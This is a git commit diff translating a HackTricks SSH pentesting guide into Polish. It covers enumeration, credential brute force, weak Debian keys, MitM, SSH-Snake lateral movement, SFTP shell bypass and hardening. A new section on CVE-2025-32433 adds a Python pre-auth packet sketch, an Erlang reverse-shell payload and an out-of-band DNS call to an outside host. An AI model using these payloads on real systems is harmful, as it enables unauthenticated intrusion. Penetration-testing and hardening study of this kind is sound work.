Translated ['src/network-services-pentesting/pentesting-ssh.md'] to pl

This commit is contained in:
Translator 2025-08-14 00:19:56 +00:00
parent 5621efd1f6
commit fb4b56b4ba

View File

@ -17,7 +17,7 @@
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) implementacja SSH dla Windows, klient jest powszechnie używany, ale użycie serwera jest rzadsze
- [CopSSH](https://www.itefix.net/copssh) implementacja OpenSSH dla Windows
**Biblioteki SSH (implementujące po stronie serwera):**
**Biblioteki SSH (implementujące stronę serwerową):**
- [libssh](https://www.libssh.org) wieloplatformowa biblioteka C implementująca protokół SSHv2 z powiązaniami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp i przez GitHub do infrastruktury git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) biblioteka serwera SSHv2 napisana w ANSI C, skierowana do środowisk wbudowanych, RTOS i z ograniczonymi zasobami
@ -30,9 +30,9 @@
```bash
nc -vn <IP> 22
```
### Zautomatyzowany ssh-audit
### Automatyczny audyt ssh
ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh.
ssh-audit to narzędzie do audytu konfiguracji serwera i klienta ssh.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) to zaktualizowany fork z [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
@ -40,8 +40,8 @@ ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh.
- Obsługa protokołu SSH1 i SSH2;
- analiza konfiguracji klienta SSH;
- pobieranie banera, rozpoznawanie urządzenia lub oprogramowania i systemu operacyjnego, wykrywanie kompresji;
- zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniania wiadomości;
- pobieranie banera, rozpoznawanie urządzenia lub oprogramowania oraz systemu operacyjnego, wykrywanie kompresji;
- zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniających wiadomości;
- wyjście informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/legacy itp.);
- wyjście rekomendacji dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania);
- wyjście informacji o bezpieczeństwie (powiązane problemy, przypisane listy CVE itp.);
@ -103,7 +103,7 @@ msf> use scanner/ssh/ssh_enumusers
Niektóre powszechne dane logowania ssh [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej.
### Private Key Brute Force
### Atak Brute Force na Klucz Prywatny
Jeśli znasz jakieś klucze prywatne ssh, które mogą być użyte... spróbujmy. Możesz użyć skryptu nmap:
```
@ -123,13 +123,13 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
#### Słabe klucze SSH / Przewidywalny PRNG w Debianie
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznego zmniejszenia przestrzeni kluczy, co może być brutalnie łamane. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być złamana metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Powinieneś poszukać tutaj, aby znaleźć ważne klucze dla maszyny ofiary.
Powinieneś spojrzeć tutaj, aby poszukać ważnych kluczy dla maszyny ofiary.
### Kerberos
**crackmapexec** używając protokołu `ssh` może używać opcji `--kerberos`, aby **uwierzytelnić się za pomocą kerberos**.\
**crackmapexec** używając protokołu `ssh` może używać opcji `--kerberos`, aby **uwierzytelnić się za pomocą Kerberos**.\
Aby uzyskać więcej informacji, uruchom `crackmapexec ssh --help`.
## Domyślne dane logowania
@ -163,18 +163,18 @@ Jeśli jesteś w lokalnej sieci jako ofiara, która zamierza połączyć się z
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej.
Aby przechwycić, przeprowadź rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach spoofingowych w sieci**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach spoofingowych w sieci**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
Jeśli chcesz przeszukiwać sieć, używając odkrytych kluczy prywatnych SSH na systemach, wykorzystując każdy klucz prywatny na każdym systemie dla nowych hostów, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz.
Jeśli chcesz przemieszczać się w sieci, używając odkrytych kluczy prywatnych SSH na systemach, wykorzystując każdy klucz prywatny na każdym systemie dla nowych hostów, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz.
SSH-Snake automatycznie i rekurencyjnie wykonuje następujące zadania:
1. Na bieżącym systemie znajdź wszelkie klucze prywatne SSH,
2. Na bieżącym systemie znajdź wszelkie hosty lub cele (user@host), które mogą akceptować klucze prywatne,
3. Spróbuj połączyć się SSH ze wszystkimi celami, używając wszystkich odkrytych kluczy prywatnych,
4. Jeśli połączenie z celem zakończy się sukcesem, powtórz kroki #1 - #4 na połączonym systemie.
4. Jeśli uda się połączyć z celem, powtórz kroki #1 - #4 na połączonym systemie.
Jest całkowicie samoreplikujący się i samopropagujący -- i całkowicie bezplikowy.
@ -182,7 +182,7 @@ Jest całkowicie samoreplikujący się i samopropagujący -- i całkowicie bezpl
### Logowanie jako root
Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi znaczące ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest kluczowym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi i ataki brute force można złagodzić, wprowadzając tę zmianę.
Powszechnie zdarza się, że serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi istotne ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest kluczowym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi oraz ataki brute force można złagodzić, wprowadzając tę zmianę.
**Aby wyłączyć logowanie jako root w OpenSSH:**
@ -197,7 +197,7 @@ Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika
### Wykonywanie poleceń SFTP
W przypadku konfiguracji SFTP występuje powszechne niedopatrzenie, w którym administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa.
W przypadku konfiguracji SFTP często występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali się plikami bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa.
[Przykład stąd](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -232,7 +232,7 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, a także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie.
Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, ale także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie.
### SFTP Tunneling
@ -242,9 +242,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Polecenie **sftp** to "**symlink**". Dlatego, jeśli masz **prawa do zapisu** w jakimś folderze, możesz tworzyć **symlinki** do **innych folderów/plików**. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie szczególnie przydatne** dla ciebie, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlinka** z **usługi bez chroot** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **otworzyć symlinkowane pliki przez sieć**.
Polecenie **sftp** ma komendę "**symlink**". Dlatego, jeśli masz **prawa do zapisu** w jakimś folderze, możesz tworzyć **symlinki** do **innych folderów/plików**. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie szczególnie przydatne** dla ciebie, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlinka** z **usługi bez chroot** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **otworzyć pliki symlinkowane przez sieć**.
Na przykład, aby utworzyć **symlink** z nowego pliku **"**_**froot**_**" do "**_**/**_**"**:
Na przykład, aby stworzyć **symlink** z nowego pliku **"**_**froot**_**" do "**_**/**_**"**:
```bash
sftp> symlink / froot
```
@ -252,7 +252,7 @@ Jeśli możesz uzyskać dostęp do pliku "_froot_" przez sieć, będziesz mógł
### Metody uwierzytelniania
W środowisku o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączanie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego, zamiast prostego uwierzytelniania opartego na haśle. Jednak często silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie go jako domyślnej metody, ale nie wyłączenie `password`. Dzięki użyciu trybu szczegółowego klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:
W środowisku o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączanie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego, zamiast prostego uwierzytelniania opartego na haśle. Często jednak silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie go jako domyślnej metody, ale nie wyłączenie `password`. Używając trybu szczegółowego klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -281,12 +281,68 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## References
## Ominięcie maszyny stanów uwierzytelniania (Pre-Auth RCE)
- Możesz znaleźć interesujące przewodniki na temat wzmacniania SSH w [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
Kilka implementacji serwera SSH zawiera błędy logiczne w **maszynie stanów uwierzytelniania**, które pozwalają klientowi wysyłać *wiadomości protokołu połączenia* **przed** zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, że znajduje się w odpowiednim stanie, te wiadomości są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do **wykonywania kodu bez uwierzytelnienia** lub tworzenia sesji.
## HackTricks Automatic Commands
Na poziomie protokołu każda wiadomość SSH z _kodem wiadomości_ **≥ 80** (0x50) należy do warstwy *połączenia* (RFC 4254) i musi być **akceptowana tylko po pomyślnym uwierzytelnieniu** (RFC 4252). Jeśli serwer przetworzy jedną z tych wiadomości, będąc w stanie *SSH_AUTHENTICATION*, atakujący może natychmiast utworzyć kanał i żądać działań, takich jak wykonanie polecenia, przekierowanie portów itp.
### Ogólne kroki eksploatacji
1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą udostępniać Erlang/OTP na 2022, 830, 2222…).
2. Przygotuj surowy pakiet SSH:
* 4-bajtowa **długość_pakietu** (big-endian)
* 1-bajtowy **kod_wiadomości** ≥ 80 (np. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Ładunek, który będzie zrozumiany przez wybrany typ wiadomości
3. Wyślij pakiet(y) **przed zakończeniem jakiegokolwiek kroku uwierzytelnienia**.
4. Interakcja z API serwera, które są teraz dostępne _przed uwierzytelnieniem_ (wykonywanie poleceń, przekierowanie portów, dostęp do systemu plików, …).
Zarys dowodu koncepcji w Pythonie:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
W praktyce będziesz musiał wykonać (lub pominąć) wymianę kluczy zgodnie z implementacją celu, ale **żadne uwierzytelnienie** nie jest nigdy przeprowadzane.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Wersje dotknięte:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Przyczyna:** natywny demon SSH Erlanga nie weryfikuje bieżącego stanu przed wywołaniem `ssh_connection:handle_msg/2`. Dlatego każdy pakiet z kodem wiadomości 80-255 dociera do obsługi połączenia, gdy sesja jest nadal w stanie *userauth*.
* **Wpływ:** nieautoryzowane **wykonywanie kodu zdalnego** (demon zazwyczaj działa jako **root** na urządzeniach wbudowanych/OT).
Przykładowy ładunek, który uruchamia powrotną powłokę powiązaną z kanałem kontrolowanym przez atakującego:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / wykrywanie out-of-band można przeprowadzić za pomocą DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Wykrywanie i łagodzenie:
* Inspekcja ruchu SSH: **odrzucaj wszelkie pakiety z kodem wiadomości ≥ 80 zaobserwowanym przed uwierzytelnieniem**.
* Uaktualnij Erlang/OTP do **27.3.3 / 26.2.5.11 / 25.3.2.20** lub nowszej wersji.
* Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) szczególnie na sprzęcie OT.
---
### Inne dotknięte implementacje
* **libssh** 0.6 0.8 (strona serwera) **CVE-2018-10933** akceptuje nieautoryzowany `SSH_MSG_USERAUTH_SUCCESS` wysłany przez klienta, co skutkuje odwrotną wadą logiczną.
Wspólną lekcją jest to, że każda odchylenie od stanów przejściowych wymaganych przez RFC może być fatalne; podczas przeglądania lub fuzzowania demonów SSH zwróć szczególną uwagę na *egzekwowanie maszyny stanów*.
## Odnośniki
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Przewodniki twardnienia SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Przewodnik po hackingu SSH Turgensec](https://community.turgensec.com/ssh-hacking-guide)
## Automatyczne polecenia HackTricks
```
Protocol_Name: SSH
Port_Number: 22